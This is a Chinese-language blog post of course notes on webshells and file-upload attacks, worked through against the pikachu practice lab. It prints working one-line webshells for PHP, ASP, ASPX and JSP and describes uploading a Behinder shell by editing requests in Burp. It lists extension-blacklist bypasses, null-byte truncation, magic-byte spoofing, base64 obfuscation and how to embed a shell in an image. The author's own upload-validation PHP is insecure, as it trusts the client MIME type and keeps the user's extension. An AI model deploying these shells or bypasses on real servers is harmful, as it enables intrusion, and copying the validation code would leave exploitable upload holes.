学习内容来自哔哩哔哩的up主——网络安全就业推荐
课上内容:
分类:
一句话木马、小马、大马
jsp、asp、aspx、php
攻击流程:
利用web漏洞获取web权限(如文件上传,利用SQL获取一定的权限上传文件)
上传小马(方面上传大马,大马太大可能不让传)
上传大马
一句话木马:
PHP:
<?php eval($_GET[pass]);?> 这里的eval是把字符串当作PHP代码执行
<?php eval($_POST[pass]);?>
<?php @$a=$_COOKIE[i];$b='';$c='';@assert($b.$a);?>
ASP:
<%eval request("pass")%>
ASPX:
<%@ Page Language=”Jscript”%>
<%eval(Request.Item["pass"])%>
JSP:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
可以看看这篇文章
直接执行(eval system等)
文件包含执行(include require)
动态函数执行($a="phpinfo";$a;)
回调函数(array_map)
一个文件上传的小例子:
这里我用冰蝎v4.06和pikachu靶场进行一下简单的文件上传
冰蝎下载看这篇:冰蝎网安工具介绍、下载和使用_冰蝎工具下载-CSDN博客
这里我要提一嘴,冰蝎好像不能连接一句话的php木马,只能用自带的php木马,如果你装了360,在解压的时候360可能会删掉你的木马,冰蝎的木马放在server文件夹里,我一开始解压的时候就被360删的只剩两个木马,搞得我半天都连不上,如果你没在server文件夹里找到get.php这个你直接删了重新下就好了,记得360调成信任冰蝎。
先从server文件夹里把get.php复制一下把后缀改为.jpeg(改后文件名为get.jepg)(由下图可知只允许上传图片,然后可以试试把木马后缀改掉以符合web的要求)
若改后缀不让上传的话,可以随便上传一张图片,再从burpsuit上改包(我第一次是burpsuit上改包上传的,后来试了改后缀也可以,显然改后缀要方便多了,所以上手更好点)
找到这个样子的包,把filename里的文件名的后缀改成.php
然后下拉到最下面把get.php里的代码复制粘贴到最下方(要先在代码和原先的包保留一个空白行)然后发送就上传成功了
在浏览器打开木马文件,地址是http://pikachu/vul/unsafeupload/uploads/get1.php
其实好像不用打开也可以连接,你们试试,若知道的可以评论区说一下。
右键点击一下,然后点新增,url处写地址,密码默认是rebeyond,点保存
打开后看到这个就连接成功了
上传小马的时候,可能会限制一些字符的上传,所以我们要将代码进行base64编码,如果是POST上传的话不能出现等号等特殊字符,这时候在进行二次编码(文件里记得加base63_decode(php木马的base64编码结果)来解码),没找到好文章,有的话可以发一下评论区
PHP文件读写,Base64编解码_base64 php读取源码-CSDN博客
上传的小马文件长这样
保护方法:
服务器判断文件类型从后往前判断,对文件解析从前往后解析
黑名单:
黑名单是指在名单上的是不可信的,其他均为信任的
拒绝上传名单上的文件类型绕过的方法可以选择
大小写绕过如:.Php
空格绕过(要在bp上修改,window上会自动删除末尾的空格)如:“.php ”
点绕过(要在bp上修改,window上会自动删除末尾的点)如:“.php.”
::$DATA绕过(bp上修改,目标机保存后会删去::$DATA):如:.as.php::$DATA
其他扩展名,如.php可以有.php5 .php .phtml .phps .php5 .pht
配合Apache解析漏洞:
htaccess文件绕过:
白名单:
白名单是指在名单上的是可以信任的,其他均为不可信任的
文件幻数:
绕过jpg文件的文件幻数在开头写下下面的值
Value=FF D8 FF E0 00 10 4A 46 49 46
绕过gif文件的文件幻数在开头写下下面的值
Value=47 49 46 38 39 61
绕过png文件的文件幻数在开头写下下面的值
Value=89 50 4E 47
这是我写的两个PHP程序可以限制上传的文件类型。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>坤坤的表单</title>
<link rel="icon" href="./headimg/aikun.ico" type="image/x-icon">
</head>
<body>
<form action="ch4_5_ok.php" method="post" enctype="multipart/form-data">
<div class="tableRow">
<p>图片:</p>
<p>
<input type="file" name="headimg" id="">
</p>
</div>
<div class="">
<p></p>
<p>
<input type="submit" name="submit" value="提交">
</p>
</div>
</form>
</body>
</html>
<?php
if (!isset($_POST['submit'])) {
die('访问禁止');
}
// echo "<pre>";
// print_r($_FILES);
// echo "</pre>";
$file = $_FILES['headimg'];
$file_name = $file['name'];
$file_type = $file['type'];
$file_size = $file['size'];
$file_tmp = $file['tmp_name'];
echo "文件名:", $file_name, '<br>';
echo "文件类型:" ,$file_type , '<br>';
echo '文件大小:', $file_size, "<br>";
echo '文件临时路径:' , $file_tmp , '<br>';
$error = [];
if ($file_size > 50 * 1024) {
$error['size'] = '文件大小符合要求';
}
$valid_type = ['image/gif', 'image/jpeg', 'image/png', 'image/bmp','image/ico']; //选择可以上传的文件
if (!in_array($file_type, $valid_type)) {
$error['type'] = '文档类型不符合要求';
}
if (empty($error)) {
$ext_name = strrchr($file_name, '.');
$new_file = date('YmdHis') . rand(100, 999) . $ext_name;
move_uploaded_file($file_tmp, "../upload/" . $new_file);
}
else{
// 验证失败
define('APP','sdfaasdf');
require_once "../public/error.php";
}
?>
%00截断:在url上或是bp上加入%00如:as.php%00.png
0x00截断:
总结:
可查看的图片马制作:
方法一:
用一张正常图片和一个木马合并出一个图片马
打开cmd命令输入copy命令格式为
格式:copy 图片文件名/b + 木马文件名/a 生成图片马文件名
其中/b是以二进制打开,/a是以字符打开
然后就可以看到生成的图片马出现在目录里了
方法二:
用Notepad++往图片中加入木马
为了减少图片内容我随便截了很小的一个图片
右键点击图片选择“打开方式”-“Notepad++”打开
然后在图片内容最后插入木马代码就完成了
网络安全的学习一定要配合网络安全法一起学习,以上内容乃作者的网络安全学习笔记,读者所为一切行为均与作者无关,忘牢记网络安全法。
中华人民共和国网络安全法_中央网络安全和信息化委员会办公室 (cac.gov.cn)